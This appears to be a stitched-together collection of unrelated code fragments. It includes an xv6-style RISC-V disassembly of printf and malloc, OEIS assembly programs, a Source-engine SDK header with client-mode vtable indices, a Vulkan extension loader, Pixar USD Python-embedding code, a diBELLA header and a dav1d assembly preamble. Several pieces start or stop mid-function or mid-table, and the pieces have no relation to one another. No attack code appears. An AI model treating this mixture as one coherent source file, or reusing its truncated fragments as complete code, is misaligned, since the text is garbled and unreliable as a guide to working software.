518: 4685 li a3,1
51a: 4629 li a2,10
51c: 000b2583 lw a1,0(s6)
520: 8556 mv a0,s5
522: 00000097 auipc ra,0x0
526: e8e080e7 jalr -370(ra) # 3b0 <printint>
52a: 8b4a mv s6,s2
state = 0;
52c: 4981 li s3,0
52e: b771 j 4ba <vprintf+0x60>
printint(fd, va_arg(ap, uint64), 10, 0);
530: 008b0913 addi s2,s6,8
534: 4681 li a3,0
536: 4629 li a2,10
538: 000b2583 lw a1,0(s6)
53c: 8556 mv a0,s5
53e: 00000097 auipc ra,0x0
542: e72080e7 jalr -398(ra) # 3b0 <printint>
546: 8b4a mv s6,s2
state = 0;
548: 4981 li s3,0
54a: bf85 j 4ba <vprintf+0x60>
printint(fd, va_arg(ap, int), 16, 0);
54c: 008b0913 addi s2,s6,8
550: 4681 li a3,0
552: 4641 li a2,16
554: 000b2583 lw a1,0(s6)
558: 8556 mv a0,s5
55a: 00000097 auipc ra,0x0
55e: e56080e7 jalr -426(ra) # 3b0 <printint>
562: 8b4a mv s6,s2
state = 0;
564: 4981 li s3,0
566: bf91 j 4ba <vprintf+0x60>
printptr(fd, va_arg(ap, uint64));
568: 008b0793 addi a5,s6,8
56c: f8f43423 sd a5,-120(s0)
570: 000b3983 ld s3,0(s6)
putc(fd, '0');
574: 03000593 li a1,48
578: 8556 mv a0,s5
57a: 00000097 auipc ra,0x0
57e: e14080e7 jalr -492(ra) # 38e <putc>
putc(fd, 'x');
582: 85ea mv a1,s10
584: 8556 mv a0,s5
586: 00000097 auipc ra,0x0
58a: e08080e7 jalr -504(ra) # 38e <putc>
58e: 4941 li s2,16
putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]);
590: 03c9d793 srli a5,s3,0x3c
594: 97de add a5,a5,s7
596: 0007c583 lbu a1,0(a5)
59a: 8556 mv a0,s5
59c: 00000097 auipc ra,0x0
5a0: df2080e7 jalr -526(ra) # 38e <putc>
for (i = 0; i < (sizeof(uint64) * 2); i++, x <<= 4)
5a4: 0992 slli s3,s3,0x4
5a6: 397d addiw s2,s2,-1
5a8: fe0914e3 bnez s2,590 <vprintf+0x136>
printptr(fd, va_arg(ap, uint64));
5ac: f8843b03 ld s6,-120(s0)
state = 0;
5b0: 4981 li s3,0
5b2: b721 j 4ba <vprintf+0x60>
s = va_arg(ap, char*);
5b4: 008b0993 addi s3,s6,8
5b8: 000b3903 ld s2,0(s6)
if(s == 0)
5bc: 02090163 beqz s2,5de <vprintf+0x184>
while(*s != 0){
5c0: 00094583 lbu a1,0(s2)
5c4: c9a1 beqz a1,614 <vprintf+0x1ba>
putc(fd, *s);
5c6: 8556 mv a0,s5
5c8: 00000097 auipc ra,0x0
5cc: dc6080e7 jalr -570(ra) # 38e <putc>
s++;
5d0: 0905 addi s2,s2,1
while(*s != 0){
5d2: 00094583 lbu a1,0(s2)
5d6: f9e5 bnez a1,5c6 <vprintf+0x16c>
s = va_arg(ap, char*);
5d8: 8b4e mv s6,s3
state = 0;
5da: 4981 li s3,0
5dc: bdf9 j 4ba <vprintf+0x60>
s = "(null)";
5de: 00000917 auipc s2,0x0
5e2: 26290913 addi s2,s2,610 # 840 <malloc+0x11c>
while(*s != 0){
5e6: 02800593 li a1,40
5ea: bff1 j 5c6 <vprintf+0x16c>
putc(fd, va_arg(ap, uint));
5ec: 008b0913 addi s2,s6,8
5f0: 000b4583 lbu a1,0(s6)
5f4: 8556 mv a0,s5
5f6: 00000097 auipc ra,0x0
5fa: d98080e7 jalr -616(ra) # 38e <putc>
5fe: 8b4a mv s6,s2
state = 0;
600: 4981 li s3,0
602: bd65 j 4ba <vprintf+0x60>
putc(fd, c);
604: 85d2 mv a1,s4
606: 8556 mv a0,s5
608: 00000097 auipc ra,0x0
60c: d86080e7 jalr -634(ra) # 38e <putc>
state = 0;
610: 4981 li s3,0
612: b565 j 4ba <vprintf+0x60>
s = va_arg(ap, char*);
614: 8b4e mv s6,s3
state = 0;
616: 4981 li s3,0
618: b54d j 4ba <vprintf+0x60>
}
}
}
61a: 70e6 ld ra,120(sp)
61c: 7446 ld s0,112(sp)
61e: 74a6 ld s1,104(sp)
620: 7906 ld s2,96(sp)
622: 69e6 ld s3,88(sp)
624: 6a46 ld s4,80(sp)
626: 6aa6 ld s5,72(sp)
628: 6b06 ld s6,64(sp)
62a: 7be2 ld s7,56(sp)
62c: 7c42 ld s8,48(sp)
62e: 7ca2 ld s9,40(sp)
630: 7d02 ld s10,32(sp)
632: 6de2 ld s11,24(sp)
634: 6109 addi sp,sp,128
636: 8082 ret
0000000000000638 <fprintf>:
void
fprintf(int fd, const char *fmt, ...)
{
638: 715d addi sp,sp,-80
63a: ec06 sd ra,24(sp)
63c: e822 sd s0,16(sp)
63e: 1000 addi s0,sp,32
640: e010 sd a2,0(s0)
642: e414 sd a3,8(s0)
644: e818 sd a4,16(s0)
646: ec1c sd a5,24(s0)
648: 03043023 sd a6,32(s0)
64c: 03143423 sd a7,40(s0)
va_list ap;
va_start(ap, fmt);
650: fe843423 sd s0,-24(s0)
vprintf(fd, fmt, ap);
654: 8622 mv a2,s0
656: 00000097 auipc ra,0x0
65a: e04080e7 jalr -508(ra) # 45a <vprintf>
}
65e: 60e2 ld ra,24(sp)
660: 6442 ld s0,16(sp)
662: 6161 addi sp,sp,80
664: 8082 ret
0000000000000666 <printf>:
void
printf(const char *fmt, ...)
{
666: 711d addi sp,sp,-96
668: ec06 sd ra,24(sp)
66a: e822 sd s0,16(sp)
66c: 1000 addi s0,sp,32
66e: e40c sd a1,8(s0)
670: e810 sd a2,16(s0)
672: ec14 sd a3,24(s0)
674: f018 sd a4,32(s0)
676: f41c sd a5,40(s0)
678: 03043823 sd a6,48(s0)
67c: 03143c23 sd a7,56(s0)
va_list ap;
va_start(ap, fmt);
680: 00840613 addi a2,s0,8
684: fec43423 sd a2,-24(s0)
vprintf(1, fmt, ap);
688: 85aa mv a1,a0
68a: 4505 li a0,1
68c: 00000097 auipc ra,0x0
690: dce080e7 jalr -562(ra) # 45a <vprintf>
}
694: 60e2 ld ra,24(sp)
696: 6442 ld s0,16(sp)
698: 6125 addi sp,sp,96
69a: 8082 ret
000000000000069c <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
69c: 1141 addi sp,sp,-16
69e: e422 sd s0,8(sp)
6a0: 0800 addi s0,sp,16
Header *bp, *p;
bp = (Header*)ap - 1;
6a2: ff050693 addi a3,a0,-16
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
6a6: 00000797 auipc a5,0x0
6aa: 1ba7b783 ld a5,442(a5) # 860 <freep>
6ae: a805 j 6de <free+0x42>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
bp->s.size += p->s.ptr->s.size;
6b0: 4618 lw a4,8(a2)
6b2: 9db9 addw a1,a1,a4
6b4: feb52c23 sw a1,-8(a0)
bp->s.ptr = p->s.ptr->s.ptr;
6b8: 6398 ld a4,0(a5)
6ba: 6318 ld a4,0(a4)
6bc: fee53823 sd a4,-16(a0)
6c0: a091 j 704 <free+0x68>
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
p->s.size += bp->s.size;
6c2: ff852703 lw a4,-8(a0)
6c6: 9e39 addw a2,a2,a4
6c8: c790 sw a2,8(a5)
p->s.ptr = bp->s.ptr;
6ca: ff053703 ld a4,-16(a0)
6ce: e398 sd a4,0(a5)
6d0: a099 j 716 <free+0x7a>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
6d2: 6398 ld a4,0(a5)
6d4: 00e7e463 bltu a5,a4,6dc <free+0x40>
6d8: 00e6ea63 bltu a3,a4,6ec <free+0x50>
{
6dc: 87ba mv a5,a4
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
6de: fed7fae3 bgeu a5,a3,6d2 <free+0x36>
6e2: 6398 ld a4,0(a5)
6e4: 00e6e463 bltu a3,a4,6ec <free+0x50>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
6e8: fee7eae3 bltu a5,a4,6dc <free+0x40>
if(bp + bp->s.size == p->s.ptr){
6ec: ff852583 lw a1,-8(a0)
6f0: 6390 ld a2,0(a5)
6f2: 02059713 slli a4,a1,0x20
6f6: 9301 srli a4,a4,0x20
6f8: 0712 slli a4,a4,0x4
6fa: 9736 add a4,a4,a3
6fc: fae60ae3 beq a2,a4,6b0 <free+0x14>
bp->s.ptr = p->s.ptr;
700: fec53823 sd a2,-16(a0)
if(p + p->s.size == bp){
704: 4790 lw a2,8(a5)
706: 02061713 slli a4,a2,0x20
70a: 9301 srli a4,a4,0x20
70c: 0712 slli a4,a4,0x4
70e: 973e add a4,a4,a5
710: fae689e3 beq a3,a4,6c2 <free+0x26>
} else
p->s.ptr = bp;
714: e394 sd a3,0(a5)
freep = p;
716: 00000717 auipc a4,0x0
71a: 14f73523 sd a5,330(a4) # 860 <freep>
}
71e: 6422 ld s0,8(sp)
720: 0141 addi sp,sp,16
722: 8082 ret
0000000000000724 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
724: 7139 addi sp,sp,-64
726: fc06 sd ra,56(sp)
728: f822 sd s0,48(sp)
72a: f426 sd s1,40(sp)
72c: f04a sd s2,32(sp)
72e: ec4e sd s3,24(sp)
730: e852 sd s4,16(sp)
732: e456 sd s5,8(sp)
734: e05a sd s6,0(sp)
736: 0080 addi s0,sp,64
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
738: 02051493 slli s1,a0,0x20
73c: 9081 srli s1,s1,0x20
73e: 04bd addi s1,s1,15
740: 8091 srli s1,s1,0x4
742: 0014899b addiw s3,s1,1
746: 0485 addi s1,s1,1
if((prevp = freep) == 0){
748: 00000517 auipc a0,0x0
74c: 11853503 ld a0,280(a0) # 860 <freep>
750: c515 beqz a0,77c <malloc+0x58>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
752: 611c ld a5,0(a0)
if(p->s.size >= nunits){
754: 4798 lw a4,8(a5)
756: 02977f63 bgeu a4,s1,794 <malloc+0x70>
75a: 8a4e mv s4,s3
75c: 0009871b sext.w a4,s3
760: 6685 lui a3,0x1
762: 00d77363 bgeu a4,a3,768 <malloc+0x44>
766: 6a05 lui s4,0x1
768: 000a0b1b sext.w s6,s4
p = sbrk(nu * sizeof(Header));
76c: 004a1a1b slliw s4,s4,0x4
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
770: 00000917 auipc s2,0x0
774: 0f090913 addi s2,s2,240 # 860 <freep>
if(p == (char*)-1)
778: 5afd li s5,-1
77a: a88d j 7ec <malloc+0xc8>
base.s.ptr = freep = prevp = &base;
77c: 00000797 auipc a5,0x0
780: 0ec78793 addi a5,a5,236 # 868 <base>
784: 00000717 auipc a4,0x0
788: 0cf73e23 sd a5,220(a4) # 860 <freep>
78c: e39c sd a5,0(a5)
base.s.size = 0;
78e: 0007a423 sw zero,8(a5)
if(p->s.size >= nunits){
792: b7e1 j 75a <malloc+0x36>
if(p->s.size == nunits)
794: 02e48b63 beq s1,a4,7ca <malloc+0xa6>
p->s.size -= nunits;
798: 4137073b subw a4,a4,s3
79c: c798 sw a4,8(a5)
p += p->s.size;
79e: 1702 slli a4,a4,0x20
7a0: 9301 srli a4,a4,0x20
7a2: 0712 slli a4,a4,0x4
7a4: 97ba add a5,a5,a4
p->s.size = nunits;
7a6: 0137a423 sw s3,8(a5)
freep = prevp;
7aa: 00000717 auipc a4,0x0
7ae: 0aa73b23 sd a0,182(a4) # 860 <freep>
return (void*)(p + 1);
7b2: 01078513 addi a0,a5,16
if((p = morecore(nunits)) == 0)
return 0;
}
}
7b6: 70e2 ld ra,56(sp)
7b8: 7442 ld s0,48(sp)
7ba: 74a2 ld s1,40(sp)
7bc: 7902 ld s2,32(sp)
7be: 69e2 ld s3,24(sp)
7c0: 6a42 ld s4,16(sp)
7c2: 6aa2 ld s5,8(sp)
7c4: 6b02 ld s6,0(sp)
7c6: 6121 addi sp,sp,64
7c8: 8082 ret
prevp->s.ptr = p->s.ptr;
7ca: 6398 ld a4,0(a5)
7cc: e118 sd a4,0(a0)
7ce: bff1 j 7aa <malloc+0x86>
hp->s.size = nu;
7d0: 01652423 sw s6,8(a0)
free((void*)(hp + 1));
7d4: 0541 addi a0,a0,16
7d6: 00000097 auipc ra,0x0
7da: ec6080e7 jalr -314(ra) # 69c <free>
return freep;
7de: 00093503 ld a0,0(s2)
if((p = morecore(nunits)) == 0)
7e2: d971 beqz a0,7b6 <malloc+0x92>
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
7e4: 611c ld a5,0(a0)
if(p->s.size >= nunits){
7e6: 4798 lw a4,8(a5)
7e8: fa9776e3 bgeu a4,s1,794 <malloc+0x70>
if(p == freep)
7ec: 00093703 ld a4,0(s2)
7f0: 853e mv a0,a5
7f2: fef719e3 bne a4,a5,7e4 <malloc+0xc0>
p = sbrk(nu * sizeof(Header));
7f6: 8552 mv a0,s4
7f8: 00000097 auipc ra,0x0
7fc: b7e080e7 jalr -1154(ra) # 376 <sbrk>
if(p == (char*)-1)
800: fd5518e3 bne a0,s5,7d0 <malloc+0xac>
return 0;
804: 4501 li a0,0
806: bf45 j 7b6 <malloc+0x92>
|
SECTION code_clib
SECTION code_fp_math48
PUBLIC _expm1_fastcall
EXTERN cm48_sdccix_expm1_fastcall
defc _expm1_fastcall = cm48_sdccix_expm1_fastcall
|
#pragma once
#include "Definitions.hpp"
#include "VMatrix.hpp"
namespace SDK
{
class IPanel;
class C_BaseEntity;
enum class ClearFlags_t {
VIEW_CLEAR_COLOR = 0x1 ,
VIEW_CLEAR_DEPTH = 0x2 ,
VIEW_CLEAR_FULL_TARGET = 0x4 ,
VIEW_NO_DRAW = 0x8 ,
VIEW_CLEAR_OBEY_STENCIL = 0x10 ,
VIEW_CLEAR_STENCIL = 0x20 ,
};
enum class MotionBlurMode_t {
MOTION_BLUR_DISABLE = 1 ,
MOTION_BLUR_GAME = 2 ,
MOTION_BLUR_SFM = 3
};
class CViewSetup
{
public:
// left side of view window
int x , x_old;
// top side of view window
int y , y_old;
// width of view window
int width , width_old;
// height of view window
int height , height_old;
// the rest are only used by 3D views
// Orthographic projection?
bool m_bOrtho;
// View-space rectangle for ortho projection.
float m_OrthoLeft;
float m_OrthoTop;
float m_OrthoRight;
float m_OrthoBottom;
bool m_bCustomViewMatrix; // 0x34
matrix3x4_t m_matCustomViewMatrix; // 0x38
char pad_0x68[0x48]; // 0x68
// horizontal FOV in degrees
float fov; // 0xB0
// horizontal FOV in degrees for in-view model
float fovViewmodel;
// 3D origin of camera
Vector origin;
// heading of camera (pitch, yaw, roll)
QAngle angles;
// local Z coordinate of near plane of camera
float zNear;
// local Z coordinate of far plane of camera
float zFar;
// local Z coordinate of near plane of camera ( when rendering view model )
float zNearViewmodel;
// local Z coordinate of far plane of camera ( when rendering view model )
float zFarViewmodel;
// The aspect ratio to use for computing the perspective projection matrix
// (0.0f means use the viewport)
float m_flAspectRatio;
// Camera settings to control depth of field
float m_flNearBlurDepth;
float m_flNearFocusDepth;
float m_flFarFocusDepth;
float m_flFarBlurDepth;
float m_flNearBlurRadius;
float m_flFarBlurRadius;
int m_nDoFQuality;
// Camera settings to control motion blur
MotionBlurMode_t m_nMotionBlurMode;
float m_flShutterTime; // In seconds
Vector m_vShutterOpenPosition; // Start of frame or "shutter open"
QAngle m_shutterOpenAngles; //
Vector m_vShutterClosePosition; // End of frame or "shutter close"
QAngle m_shutterCloseAngles; //
// Controls for off-center projection (needed for poster rendering)
float m_flOffCenterTop;
float m_flOffCenterBottom;
float m_flOffCenterLeft;
float m_flOffCenterRight;
int m_EdgeBlur; // 0x148
};
namespace TABLE
{
namespace IClientMode
{
enum
{
OverrideView = 18 ,
CreateMove = 24 ,
GetViewModelFOV = 35
};
}
}
class IClientMode {
public:
bool OverrideView( CViewSetup* pSetup )
{
VirtualFn( bool )( PVOID , CViewSetup* );
return GetMethod< OriginalFn >( this , TABLE::IClientMode::OverrideView )( this , pSetup );
}
bool CreateMove( float flInputSampleTime , CUserCmd* cmd )
{
VirtualFn( bool )( PVOID , float , CUserCmd* );
return GetMethod< OriginalFn >( this , TABLE::IClientMode::CreateMove )( this , flInputSampleTime , cmd );
}
float GetViewModelFOV()
{
VirtualFn( float )( PVOID );
return GetMethod< OriginalFn >( this , TABLE::IClientMode::GetViewModelFOV )( this );
}
};
} |
; A073357: Binomial transform of tribonacci numbers.
; 0,1,3,8,22,62,176,500,1420,4032,11448,32504,92288,262032,743984,2112384,5997664,17029088,48350464,137280832,389779648,1106696192,3142227840,8921685888,25331224576,71922610432,204208915200,579807668224,1646240232960,4674148089344,13271246761984,37680875156480,106986809756672,303766231924736,862479438985216,2448826447755264,6952920498929664
mov $2,1
lpb $0,1
sub $0,1
add $1,$2
mul $2,2
add $2,$4
add $3,$1
mov $4,$3
lpe
|
/*
* VKExtensionLoader.cpp
*
* This file is part of the "LLGL" project (Copyright (c) 2015-2018 by Lukas Hermanns)
* See "LICENSE.txt" for license information.
*/
#include "VKExtensionLoader.h"
#include "VKExtensions.h"
#include <LLGL/Log.h>
#include <functional>
#include <string>
namespace LLGL
{
/* --- Internal functions --- */
template <typename T>
bool LoadVKProc(VkInstance instance, T& procAddr, const char* procName)
{
/* Load Vulkan procedure address */
procAddr = reinterpret_cast<T>(vkGetInstanceProcAddr(instance, procName));
/* Check for errors */
if (!procAddr)
{
Log::PostReport(Log::ReportType::Error, "failed to load Vulkan procedure: " + std::string(procName));
return false;
}
return true;
}
/* --- Hardware buffer extensions --- */
#define LOAD_VKPROC(NAME) \
if (!LoadVKProc(instance, NAME, #NAME)) \
return false
#ifdef LLGL_OS_WIN32
static bool Load_VK_KHR_win32_surface(VkInstance instance)
{
LOAD_VKPROC( vkCreateWin32SurfaceKHR );
return true;
}
#endif // /LLGL_OS_WIN32
#undef LOAD_VKPROC
/* --- Common extension loading functions --- */
// Global member to store if the extension have already been loaded
static bool g_extAlreadyLoaded = false;
void LoadAllExtensions(VkInstance instance)
{
/* Only load GL extensions once */
if (g_extAlreadyLoaded)
return;
auto LoadExtension = [&](const std::string& extName, const std::function<bool(VkInstance)>& extLoadingProc) -> void
{
/* Try to load OpenGL extension */
if (!extLoadingProc(instance))
{
/* Loading extension failed */
Log::PostReport(Log::ReportType::Error, "failed to load Vulkan extension: " + extName);
}
};
#define LOAD_VKEXT(NAME) \
LoadExtension("VK_" + std::string(#NAME), Load_VK_##NAME)
/* Load platform specific extensions */
#ifdef LLGL_OS_WIN32
LOAD_VKEXT( KHR_win32_surface );
#endif // /LLGL_OS_WIN32
#undef LOAD_VKEXT
g_extAlreadyLoaded = true;
}
bool AreExtensionsLoaded()
{
return g_extAlreadyLoaded;
}
} // /namespace LLGL
// ================================================================================
|
//
// Copyright 2016 Pixar
//
// Licensed under the Apache License, Version 2.0 (the "Apache License")
// with the following modification; you may not use this file except in
// compliance with the Apache License and the following modification to it:
// Section 6. Trademarks. is deleted and replaced with:
//
// 6. Trademarks. This License does not grant permission to use the trade
// names, trademarks, service marks, or product names of the Licensor
// and its affiliates, except as required to comply with Section 4(c) of
// the License and to reproduce the content of the NOTICE file.
//
// You may obtain a copy of the Apache License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the Apache License with the above modification is
// distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
// KIND, either express or implied. See the Apache License for the specific
// language governing permissions and limitations under the Apache License.
//
#include "pxr/base/tf/pyError.h"
#include "pxr/base/tf/pyInterpreter.h"
#include "pxr/base/tf/pyLock.h"
#include "pxr/base/tf/pyUtils.h"
#include "pxr/base/tf/scriptModuleLoader.h"
#include "pxr/base/tf/stringUtils.h"
#include "pxr/base/arch/symbols.h"
#include "pxr/base/arch/systemInfo.h"
#include <boost/python.hpp>
#include <boost/python/detail/api_placeholder.hpp>
#include <atomic>
#include <mutex>
#include <string>
#include <Python.h>
#include <signal.h>
using std::string;
using namespace boost::python;
void
TfPyInitialize()
{
static std::atomic<bool> initialized(false);
if (initialized)
return;
// This mutex is, sadly, recursive since the call to the scriptModuleLoader
// at the end of this function can end up reentering this function, while
// importing python modules. In this case we'll quickly return since
// Py_IsInitialized will return true, but we need to keep other threads from
// entering.
static std::recursive_mutex mutex;
std::lock_guard<std::recursive_mutex> lock(mutex);
if (!Py_IsInitialized()) {
// Initialize Python threading. This grabs the GIL. We'll release it
// at the end of this function.
PyEval_InitThreads();
// Setting the program name is necessary in order for python to
// find the correct built-in modules.
Py_SetProgramName(const_cast<char*>(strdup(ArchGetExecutablePath().c_str())));
// We're here when this is a C++ program initializing python (i.e. this
// is a case of "embedding" a python interpreter, as opposed to
// "extending" python with extension modules).
//
// In this case we don't want python to change the sigint handler. Save
// it before calling Py_Initialize and restore it after.
struct sigaction origSigintHandler;
sigaction(SIGINT, NULL, &origSigintHandler);
Py_Initialize();
// Restore original sigint handler.
sigaction(SIGINT, &origSigintHandler, NULL);
char emptyArg[] = {'\0'};
char *empty[] = {emptyArg};
PySys_SetArgv(1, empty);
// Kick the module loading mechanism for any loaded libs that have
// corresponding python binding modules. We do this after we've
// published that we're done initializing as this may reenter
// TfPyInitialize().
TfScriptModuleLoader::GetInstance().LoadModules();
// Release the GIL.
PyEval_ReleaseLock();
// Say we're done initializing python.
initialized = true;
}
}
int
TfPyRunSimpleString(const std::string & cmd)
{
TfPyInitialize();
TfPyLock pyLock;
return PyRun_SimpleString(cmd.c_str());
}
boost::python::handle<>
TfPyRunString(const std::string &cmd , int start,
object const &globals, object const &locals)
{
TfPyInitialize();
TfPyLock pyLock;
try {
handle<> mainModule(borrowed(PyImport_AddModule("__main__")));
handle<>
defaultGlobalsHandle(borrowed(PyModule_GetDict(mainModule.get())));
PyObject *pyGlobals =
TfPyIsNone(globals) ? defaultGlobalsHandle.get() : globals.ptr();
PyObject *pyLocals =
TfPyIsNone(locals) ? pyGlobals : locals.ptr();
// used passed-in objects for globals and locals, or default
// to globals from main module if no locals/globals passed in.
return handle<>(PyRun_String(cmd.c_str(), start, pyGlobals, pyLocals));
} catch (error_already_set const &) {
TfPyConvertPythonExceptionToTfErrors();
PyErr_Clear();
}
return handle<>();
}
boost::python::handle<>
TfPyRunFile(const std::string &filename, int start,
object const &globals, object const &locals)
{
FILE *f = fopen(filename.c_str(), "rt");
if (not f) {
TF_CODING_ERROR("Could not open file '%s'!", filename.c_str());
return handle<>();
}
TfPyInitialize();
TfPyLock pyLock;
try {
handle<> mainModule(borrowed(PyImport_AddModule("__main__")));
handle<>
defaultGlobalsHandle(borrowed(PyModule_GetDict(mainModule.get())));
// used passed-in objects for globals and locals, or default
// to globals from main module if no locals/globals passed in.
PyObject *pyGlobals =
TfPyIsNone(globals) ? defaultGlobalsHandle.get() : globals.ptr();
PyObject *pyLocals =
TfPyIsNone(locals) ? pyGlobals : locals.ptr();
return handle<>(PyRun_FileEx(f, filename.c_str(), start,
pyGlobals, pyLocals, 1 /* close file */));
} catch (error_already_set const &) {
TfPyConvertPythonExceptionToTfErrors();
PyErr_Clear();
}
return handle<>();
}
std::string
TfPyGetModulePath(const std::string & moduleName)
{
TfPyInitialize();
// Make sure imp is imported.
static std::once_flag once;
std::call_once(once, [](){
TfPyRunSimpleString("import imp\n");
});
// XXX
// If the module name is hierarchical (e.g. Animal.Primate.Chimp), then
// we have to walk the hierarchy and import all of the containing modules
// down the module we want to find.
// vector< string > pkgHierarchy = TfStringTokenize(moduleName, ".");
// Do the find_module.
std::string cmd =
TfStringPrintf("imp.find_module('%s')[1]\n", moduleName.c_str());
handle<> result = TfPyRunString(cmd, Py_eval_input);
if (not result)
return std::string();
// XXX close file
// Extract result string
extract<string> getString(result.get());
return getString.check() ? getString() : string();
}
|
; A098294: a(n) = ceiling(n*log_2(3/2)).
; 0,1,2,2,3,3,4,5,5,6,6,7,8,8,9,9,10,10,11,12,12,13,13,14,15,15,16,16,17,17,18,19,19,20,20,21,22,22,23,23,24,24,25,26,26,27,27,28,29,29,30,30,31,32,32,33,33,34,34,35,36,36,37,37,38,39,39,40,40,41,41,42,43,43,44,44,45,46,46,47,47,48,48,49,50,50,51,51,52,53,53,54,54,55,55,56,57,57,58,58,59,60,60,61,61,62,63,63,64,64,65,65,66,67,67,68,68,69,70,70,71,71,72,72,73,74,74,75,75,76,77,77,78,78,79,79,80,81,81,82,82,83,84,84,85,85,86,86,87,88,88,89,89,90,91,91,92,92,93,94,94,95,95,96,96,97,98,98,99,99,100,101,101,102,102,103,103,104,105,105,106,106,107,108,108,109,109,110,110,111,112,112,113,113,114,115,115,116,116,117,117,118,119,119,120,120,121,122,122,123,123,124,125,125,126,126,127,127,128,129,129,130,130,131,132,132,133,133,134,134,135,136,136,137,137,138,139,139,140,140,141,141,142,143,143,144,144,145,146,146
mov $3,$0
mov $9,$0
lpb $3,1
mov $0,$9
sub $3,1
sub $0,$3
mov $5,$0
mov $7,2
lpb $7,1
mov $0,$5
sub $7,1
add $0,$7
sub $0,1
cal $0,20914 ; Number of digits in the base-2 representation of 3^n.
mov $2,$0
cmp $0,1
sub $2,$0
mov $4,$2
mov $8,$7
lpb $8,1
mov $6,$4
sub $8,1
lpe
lpe
lpb $5,1
mov $5,0
sub $6,$4
lpe
mov $4,$6
sub $4,1
add $1,$4
lpe
|
.org 0x100
beep: .text "\"\"\"" ; comment
.align 4
.text "foo"
.align 16
.text "bar"
.db $45,0x67,'7'
.end
|
// Created by Saliya Ekanayake on 2019-07-05.
#ifndef DIBELLA_PAIRWISEFUNCTION_HPP
#define DIBELLA_PAIRWISEFUNCTION_HPP
#include <unordered_map>
#include <string>
#include <seqan/score.h>
#include <seqan/align_parallel.h>
#include "../AlignmentInfo.hpp"
#include "../kmer/CommonKmers.hpp"
#include "../ParallelOps.hpp"
#include "../DistributedFastaData.hpp"
#include "../Utils.hpp"
class PairwiseFunction {
public:
static const int MAX_THD = 128;
PairwiseFunction();
virtual ~PairwiseFunction();
virtual void apply(uint64_t l_col_idx, uint64_t g_col_idx,
uint64_t l_row_idx, uint64_t g_row_idx,
seqan::Dna5String *seq_h, seqan::Dna5String *seq_v,
ushort k,
dibella::CommonKmers &cks, std::stringstream& ss) = 0;
virtual
void
apply_batch (
seqan::StringSet<seqan::Gaps<seqan::Dna5String>> &seqsh,
seqan::StringSet<seqan::Gaps<seqan::Dna5String>> &seqsv,
uint64_t *lids,
uint64_t col_offset,
uint64_t row_offset,
PSpMat<dibella::CommonKmers>::ref_tuples *mattuples,
std::ofstream &lfs,
const bool noAlign,
ushort k,
uint64_t nreads,
std::vector<int64_t>& ContainedSeqPerProc,
float ratioScoreOverlap = 0.99, // GGGG: Precomputed for error rate = 15% and default scoring matrix (1,-1,-1) (0.445 for CLR, 0.99 for CCS)
//float ratioScoreOverlap = 0.445, // GGGG: Precomputed for error rate = 15% and default scoring matrix (1,-1,-1) (0.445 for CLR, 0.99 for CCS)
int debugThr = 50) = 0; // GGGG: Fixed threshold, this is convenient only for debugging
void add_time(std::string type, double duration);
void print_avg_times(std::shared_ptr<ParallelOps> parops, std::ofstream &lfs);
uint64_t nalignments;
private:
std::unordered_map<std::string, size_t> types[MAX_THD];
std::vector<uint64_t> counts[MAX_THD];
std::vector<double> times[MAX_THD];
};
#endif //DIBELLA_PAIRWISEFUNCTION_HPP
|
; Copyright © 2018, VideoLAN and dav1d authors
; Copyright © 2018, Two Orioles, LLC
; All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met:
;
; 1. Redistributions of source code must retain the above copyright notice, this
; list of conditions and the following disclaimer.
;
; 2. Redistributions in binary form must reproduce the above copyright notice,
; this list of conditions and the following disclaimer in the documentation
; and/or other materials provided with the distribution.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
; ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
; (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
; ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
; SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
%include "ext/x86/x86inc.asm"
%if ARCH_X86_64
SECTION_RODATA 32
; Note: The order of (at least some of) those constants matter!
iadst4_dconly2a: dw 10568, 10568, 10568, 10568, 19856, 19856, 19856, 19856
iadst4_dconly2b: dw 26752, 26752, 26752, 26752, 30424, 30424, 30424, 30424
iadst4_dconly1a: dw 10568, 19856, 26752, 30424
iadst4_dconly1b: dw 30424, 26752, 19856, 10568
deint_shuf: db 0, 1, 4, 5, 8, 9, 12, 13, 2, 3, 6, 7, 10, 11, 14, 15
%macro COEF_PAIR 2
pw_%1_%2: dw %1, %2
pw_m%2_%1: dw -%2, %1
%endmacro
; ADST-only
pw_3803_1321: dw 3803, 1321
pw_m1321_2482: dw -1321, 2482
